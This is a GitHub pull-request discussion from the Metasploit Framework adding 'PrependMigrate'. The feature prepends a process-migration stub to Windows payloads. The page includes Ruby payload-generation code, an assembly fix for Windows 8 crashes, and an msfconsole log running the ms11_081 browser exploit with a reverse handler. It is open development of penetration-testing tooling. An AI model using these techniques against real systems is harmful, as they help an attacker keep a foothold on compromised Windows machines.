Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Already on GitHub? Sign in to your account

PrependMigrate support #939

Merged
merged 2 commits into from Feb 21, 2013

Conversation

Projects
None yet
5 participants
Contributor

scriptjunkie commented Oct 20, 2012

Adds ability to prepend a migrator to a Windows payload. Supports x86 and x64 and re-using code for size.

@jlee-r7 jlee-r7 and 1 other commented on an outdated diff Oct 22, 2012

lib/msf/core/payload/windows.rb
ret
end
#
+ # Overload the generate() call to prefix our stubs
+ #
+ def generate(*args)
+ # Call the real generator to get the payload
+ buf = super(*args)
+ pre = ''
+
+ test_arch = [ *(self.arch) ]
+
+ # Handle all x86 code here
+ if (test_arch.include?(ARCH_X86))
+
+ # PrependMigrate
+ if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
@jlee-r7

jlee-r7 Oct 22, 2012

Contributor

Why not the shiny new prepend_migrate? method?

@scriptjunkie

scriptjunkie Oct 22, 2012

Contributor

If I just generate a payload outside of an exploit, can and should I depend
on something in Exploit? The original motivation was for executables or
macros not tied to an exploit. And anyway, the bug I was fixing happened in
the Metasploit startup process when each payload was created to determine
how big it was. The PrependMigrate default false somehow got turned into a
string "false" in the datastore not a boolean false. (see msfdev list
discussion) So datastore['PrependMigrate'] would evaluate to true because
the datastore was not normalized. So the current implementation of
prepend_migrate? would not work, and the extra string check is necessary
here. The prepend_migrate? implementation will work, however, in an
exploit, where the datastore gets normalized.

Contributor

scriptjunkie commented Nov 17, 2012

So, looks good? Or any other changes needed?

Contributor

corelanc0d3r commented Nov 17, 2012

looks good to me

Contributor

corelanc0d3r commented Nov 29, 2012

based on some tests, I'm not sure if windows.rb is the right place to put this, as it doesn't seem to work for single payloads

to test, edit lib/msf/core/payload/windows.rb
and add

def generate(*args)
  buf = super(*args)
  return (buf + "AAAAAAAAAA")
end

then run

./msfpayload windows/exec cmd=calc C

It does work with staged payloads... not sure why it works with staged and not with singles

there's got to be a place where all payloads get created when needed... and it looks like it's not windows.rb

Maybe payload_encoded.rb would be a better place after all ? (which is where I put it originally - see #155).

Contributor

corelanc0d3r commented Nov 29, 2012

another side effect might be that if it's inside payload_encoded.rb, it will probably only be called once, and not for every windows payload when you run msfpayload with the option enabled

Contributor

scriptjunkie commented Nov 30, 2012

Singles should now play nicely.

Contributor

corelanc0d3r commented Nov 30, 2012

tested with windows/download_exec - no love
tested with windows/exec - no love either

Contributor

scriptjunkie commented Dec 1, 2012

Windows/exec is working for me, see https://gist.github.com/4180242
I just rebased to upstream master to make sure it wasn't something related to that.
windows/download_exec should call super in the generate method to get the prepend migrate code, see exec source: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/exec.rb

Contributor

corelanc0d3r commented Dec 1, 2012

hmm there is no way to force this behavior elsewhere, to avoid that we have to check/change all single payloads under modules/payloads/singles/windows ?

Contributor

scriptjunkie commented Dec 1, 2012

Of all of the single payloads, only download_exec, dns_txt_query_exec, and messagebox override generate but do not call super. Above commit allows them to use the assembly-generation backend (and prependmigrate as well).

Contributor

corelanc0d3r commented Dec 2, 2012

yep, that works - tested a couple of payloads and they all work

Contributor

wchen-r7 commented Jan 18, 2013

PrependMigrate rises from the dead!

Contributor

wchen-r7 commented Jan 18, 2013

So according to HD, the last broken was causing some performance problem during start-up. The following log proves that problem doesn't exist anymore:

The first one is with PrependMigrate:

real    0m22.095s
user    0m20.706s
sys 0m1.397s

The second one is our current master branch:

real    0m22.573s
user    0m21.141s
sys 0m1.435s
Contributor

jvazquez-r7 commented Jan 18, 2013

Just pointing which PrependMigrateProc can make the exploit fail silently if the executable to migrate doesn't exist in the target machine:

msf  exploit(ms11_081_option) set PrependMigrate true
PrependMigrate => true
msf  exploit(ms11_081_option) > set PrependMigrateProc calcs.exe
PrependMigrateProc => calcs.exe
msf  exploit(ms11_081_option) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/8X0ZkBy83GjL67
[*]  Local IP: http://192.168.1.128:8080/8X0ZkBy83GjL67
[*] Server started.
msf  exploit(ms11_081_option) > [*] 192.168.1.137    ms11_081_option - Requesting: /8X0ZkBy83GjL67
[*] 192.168.1.137    ms11_081_option - Target selected as: IE 8 on Windows 7
[*] 192.168.1.137    ms11_081_option - Using JRE ROP
[*] 192.168.1.137    ms11_081_option - Sending HTML...

With the actual migrate option, any fail occurs after payload execution, so in case of fail, the user at least has notice of something failing at post payload execution

Maybe one solution would be to check if executable exists before migration, and abort migration if it isn't the case, as we discussed with @wchen-r7

Contributor

wchen-r7 commented Jan 18, 2013

PrependMigrate automatically changes back to false if you switch to a different exploit, so that's good.

Contributor

wchen-r7 commented Jan 18, 2013

PrependMigrate doesn't seem to work in Windows 8, crashes meterpreter.

@jvazquez-r7 jvazquez-r7 and 1 other commented on an outdated diff Jan 18, 2013

lib/msf/core/payload/windows.rb
ret
end
#
+ # Overload the generate() call to prefix our stubs
+ #
+ def generate(*args)
+ # Call the real generator to get the payload
+ buf = super(*args)
+ pre = ''
+
+ test_arch = [ *(self.arch) ]
+
+ # Handle all x86 code here
+ if test_arch.include?(ARCH_X86)
+ # PrependMigrate
+ if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
+ payloadsize = "0x%04x" % buf.length
@jvazquez-r7

jvazquez-r7 Jan 18, 2013

Contributor

I guess using functions at least would be a good idea, the generate() function (and the windows.rb) is a little unreadable for me at this moment. I think the generate function should be something like that (just an idea):

    #
    # Overload the generate() call to prefix our stubs
    #
    def generate(*args)
        # Call the real generator to get the payload
        buf = super(*args)
        pre = ''

        test_arch = [ *(self.arch) ]

        # Handle all x86 code here
        if test_arch.include?(ARCH_X86)
            # PrependMigrate
            if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
                migrate_asm = prepend_migrate(buf)
                pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
            end
        # Handle all x64 code here
        elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
            # PrependMigrate
            if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
                migrate_asm = prepend_migrate_64(buf)
                pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
            end
        end
        return (pre + buf)
    end

And move the prepend assembler to functions. Not sure if there are any inconveniences atm with this. Just pointing and asking.

@jvazquez-r7

jvazquez-r7 Jan 18, 2013

Contributor

In fact atm Im starting to ask myself if it's the best place....hahaha sorry to make appear old ghosts :P

@wchen-r7

wchen-r7 Jan 18, 2013

Contributor

Well, if we can't agree with each other where to put it... like egypt said, this is the least that needs to happen.

@jlee-r7 jlee-r7 commented on an outdated diff Jan 18, 2013

lib/msf/core/exploit.rb
@@ -1242,6 +1242,15 @@ def handler_enabled?
not datastore['DisablePayloadHandler']
end
+ #
+ # Returns the state of the PrependMigrate option
+ # See https://github.com/rapid7/metasploit-framework/pull/917
+ # for discussion.
+ #
+ def prepend_migrate?
+ datastore['PrependMigrate']
@jlee-r7

jlee-r7 Jan 18, 2013

Contributor

This would probably be better as:

!!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')

@ghost ghost assigned wchen-r7 Jan 18, 2013

Contributor

scriptjunkie commented Jan 18, 2013

Well, when all else fails, read the documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms683230%28v=vs.85%29.aspx
We shouldn't rely on the return value of GetStartupInfoA at all, so I'll fix that, and check the return value from CreateProcess while I'm at it, which should address the no process error.

Contributor

wchen-r7 commented Jan 18, 2013

Thanks. Here's Peter's fix:

Fix for win8 crash  (tested on XP, Win7 and Win8) :

...
  ; ptr to startupinfo is in eax
  ; pointer to string is in ecx
  jmp getcommand
  gotcommand:
  pop esi                   ; esi = address of process name (command line)

; insert this check to avoid crash on Win8
  test eax,eax
  jnz createprocess
  mov eax,ecx
createprocess:

  mov edi,eax
...
Contributor

corelanc0d3r commented Jan 18, 2013

@scriptjunkie : We actually need the out pointer, because we are using it as input for createprocess.

We can either save it before calling GetStartupInfoA, or we can use the check

When GetStartupInfoA finishes, on XP -> Win7, the value is stored in eax
On Win8, it is in ECX

Contributor

scriptjunkie commented Jan 18, 2013

right, but the out pointer was just esp + 0x30, which is really easy to
calculate

On Fri, Jan 18, 2013 at 5:02 PM, Peter Van Eeckhoutte <
notifications@github.com> wrote:

@scriptjunkie https://github.com/scriptjunkie : We actually need the *
out* pointer, because we need are using it as input for createprocess.

We can either save it before calling GetStartupInfoA, or we can use the
check

When GetStartupInfoA finishes, on XP -> Win7, the value is stored in eax
On Win8, it is in ECX


Reply to this email directly or view it on GitHubhttps://github.com/rapid7/metasploit-framework/pull/939#issuecomment-12444980.

scriptjunkie
http://www.scriptjunkie.us/

Contributor

corelanc0d3r commented Jan 18, 2013

esp+0x60 I think, but yeah, you're right
I guess lea eax,[esp+0x60] would work, and is 2 byte smaller

Contributor

wchen-r7 commented Jan 19, 2013

Meterpreter works in Winodws 8 now with PrependMigrate.

Contributor

corelanc0d3r commented Jan 20, 2013

since rundll32.exe exists on all systems and works, wouldn't it be better to make the CreateprocessA check optional (only activate it when a custom PrependMigrateProc value is used).
Also, when the check is used and indicates fail, can't we just jump to the shellcode instead of injecting everything it into the current process ?

Contributor

wchen-r7 commented Jan 22, 2013

Although rundll32.exe exists on all Windows systems, my take is it's actually best to force the check for maximum reliability. An invalid path isn't the only reason CreateProcessA() can fail, there are other scenarios that could cause it to fail to initialize, too.

Contributor

corelanc0d3r commented Jan 22, 2013

true - I was only concerned about the total size of the prependmigrate stub

scriptjunkie added some commits Jan 22, 2013

@scriptjunkie scriptjunkie Merge pull request #3 from jlee-r7/scriptjunkie-migrator
Proposed changes for PrependMigrate
75fe7e8
@scriptjunkie scriptjunkie Use EXITFUNC if present to save space and be more correct.
Jump straight to payload on process failure to save space.
d9e1653
Contributor

scriptjunkie commented Jan 24, 2013

Ok. I implemented Peter's suggestion for saving space on process failure, and also saved some bytes by re-using EXITFUNC if present.

@jlee-r7 jlee-r7 merged commit d9e1653 into rapid7:master Feb 21, 2013

1 check passed

default The Travis build passed
Details
Contributor

corelanc0d3r commented Feb 21, 2013

woot.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment